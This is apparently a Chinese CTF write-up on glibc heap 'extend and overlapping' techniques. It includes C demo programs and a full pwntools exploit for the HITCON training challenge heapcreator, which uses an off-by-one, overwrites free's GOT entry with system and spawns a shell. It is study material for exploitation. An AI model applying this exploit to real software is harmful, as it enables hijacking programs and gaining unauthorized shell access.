Extend and Overlapping
2022-03-03 13:34:48

chunk extend overlapping:

通过extend实现chunk overlapping

利用方式:

1、对inuse的fastbin进行extend:

通过更改第一块的大小来控制第二块的内容

malloc(0x10)#chunk1
malloc(0x10)#chunk2

#接下来篡改chunk1的size为(0x41)====》覆盖chunk2

free(1)#chunk1和chunk2合成了一个0x40大小的chunk,一起被释放了
malloc(0x30)#得到chunk1+chunk2的块===》可以控制chunk2中的内容====》overlapping chunk

2、对inuse的smallbin进行extend

注意利用的不是fastbin==》chunk在被释放后如果与top chunk相连===》合并

malloc(0x80)#chunk1
malloc(0x10)#chunk2
malloc(0x10)#防止与top chunk合并

#篡改chunk1的size为(0xb1)===》覆盖chunk2

free(1)#chunk1包含chunk2一起置入unsorted bin
#chunk3的inuse位变为0

malloc()#取回chunk1和chunk2的空间===》控制chunk2中的内容
#进入unsorted bin原因:
#释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

3、对free的smallbin进行extend

malloc(0x80)#chunk1
malloc(0x10)#chunk2

free(1)#chunk2的标志位变0

#篡改chunk1的size===》(0xb1)

malloc()#可分配得到chunk1+chunk2的堆块===》控制chunk2

4、通过extend向后overlapping

//gcc -g test4.c  -o test4
#include<stdio.h>
int main()
{
    void *closure, *closure1;
    closure = malloc(0x10);//分配第1个 0x10 的chunk1
    malloc(0x10); //分配第2个 0x10 的chunk2
    malloc(0x10); //分配第3个 0x10 的chunk3
    malloc(0x10); //分配第4个 0x10 的chunk4    
    *(long *)((long)closure - 0x8) = 0x61;
    free(closure);
    closure1 = malloc(0x50);
}

在malloc(0x50)对extend区域的重新占位后,其中0x10的块仍然可以正常分配和是放,此时构成overlapping,通过对overeapping进行操作

5、通过extend前向overlapping

//gcc -g test5.c -o test
#include<stdio.h>
int main(void)
{
    void *closure1, *closure2, *closure3, *closure4;
    closure1 = malloc(128);//smallbin1
    closure2 = malloc(0x10);//fastbin1
    closure3 = malloc(0x10);//fastbin2
    closure4 = malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(closure1);
    *(int *)((long long)closure4 - 0x8) = 0x90;//修改pre_inuse域
    *(int *)((long long)closure4 - 0x10) = 0xd0;//修改pre_size域
    free(closure4);//unlink进行前向extend
    malloc(0x150);//占位块
}

前向extend利用了smallbin的unlink机制,通过修改pre_size域可以跨越多个chunk进行合并overlapping

extend/shrink作用:

控制chunk中的内容,如果chunk中存在指针,函数指针等,可以通过控制这些指针来进行信息泄露和控制执行流程

也可以通过extend达到overlapping实现控制chunk的fd和bk指针===》实现fastbin attack

例题:hitcontraning_lab13

保护:

开启了canary和NX保护

程序运行分析:

程序为一个菜单栏,有创建堆块,修改堆块内容,打印堆块,删除堆块,退出功能

思路分析:

1、主界面函数:

menu()函数是一个输出界面:

输入你的一个选择,通过switch进行判断输入的内容,执行相对应的函数

1、创建堆:

由上可得:heaparray是一个数组,其中存放着指向第一个chunk的指针

第一个chunk存放着第二个chunk的size和content的地址==》结构体

红色区域为chunk1==》结构体

黄色区域为chunk2

2、修改堆内容

在edit中也发现使用read_input函数,但是参数与create中不一样

edit中可以多读入1个字节==》off-by-one

==》例如刚刚申请了32大小的堆块,此时就可以使用edit写入33字节的内容

==》溢出的1字节刚刚好就是下一个堆块的size部分

3、打印堆块
4、删除堆块
总结:

程序中有off-by-one漏洞,可以实现覆盖到第二个结构体的inuse位造成extend

如图已经将第二个结构体的inuse位覆盖成0x63

==》由于我申请的index2的大小为0x10==》如果将index2的结构体扩展到0x40即可触发覆盖

==》由于现在是结构体覆盖content,无法对结构体修改==》将index2释放==》

此时我们再将他们申请回来==》申请一个0x30大小的content==》0x20的fastbin先被启用作为结构体

0x40大小的fastbin作为content==》content覆盖结构体==》大空间可写覆盖小空间不可写

payload='a'*24+'\x41'

overlapping导致结构体可以被篡改==》篡改结构体的content指针为free_got==》就可以利用show打印出free_addr,并且可以让free_got变成我们可修改的

payload=p64(0)*3+p64(0x21)+p64(0x30)+p32(elf.got['free'])

至此,我们已经可以控制free_got的内容,也可以使用show打印free函数的地址

对于shell我们还需要system(‘/bin/sh’)==》利用free函数的地址泄露出system函数的地址

==》将free_got覆盖成system==》再调用free时即可调用system

==》接下来是将free函数的参数变成’/bin/sh’==》在delete中调用了两个free函数==》

在第一个free中,参数为content的data起始地址,如果我们将’/bin/sh’作为data起始地址的内容,’/bin/sh’就将作为free函数的参数===》也就变成system函数的参数==》system(‘/bin/sh’)

payload='/bin/sh\x00'+'a'*0x10+'\x41'

exp:
#coding=UTF-8
from pwn import *

io=process('./heapcreator' )
elf=ELF('./heapcreator' )

def add(size,content):
    io.recvuntil("Your choice :")
    io.sendline('1')
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(str(content))
    
def edit(index,content):
    io.recvuntil("Your choice :")
    io.sendline('2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Content of heap : ")
    io.sendline(str(content))
    
def show(index):
    io.recvuntil("Your choice :")
    io.sendline('3')
    io.recvuntil("Index :")
    io.sendline(str(index))
    
def delete(index):
    io.recvuntil("Your choice :")
    io.sendline('4')
    io.recvuntil("Index :")
    io.sendline(str(index))


add(24,'aaaa')
add(0x10,'bbbb')

payload='/bin/sh\x00'+'a'*0x10+'\x41'
edit(0,payload)

delete(1)

payload=p64(0) * 3 + p64(0x21) + p64(0x30) + p64(elf.got['free'])

add(0x30,payload)

show(1)
io.recvuntil("Content : ")

free_addr=u64(io.recvuntil('\n')[:6].ljust(8,'\x00'))

#data=io.recvuntil("Done !")
#free_addr=u64(data.split('\n')[0].ljust(8,'\x00'))
#接收的data以'\n'为分隔符做切片,取第0个元素

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=free_addr-libc.sym['free']

sys_addr=libcbase+libc.sym['system']

edit(1,p64(sys_addr))

delete(0)

#gdb.attach(io)

io.interactive()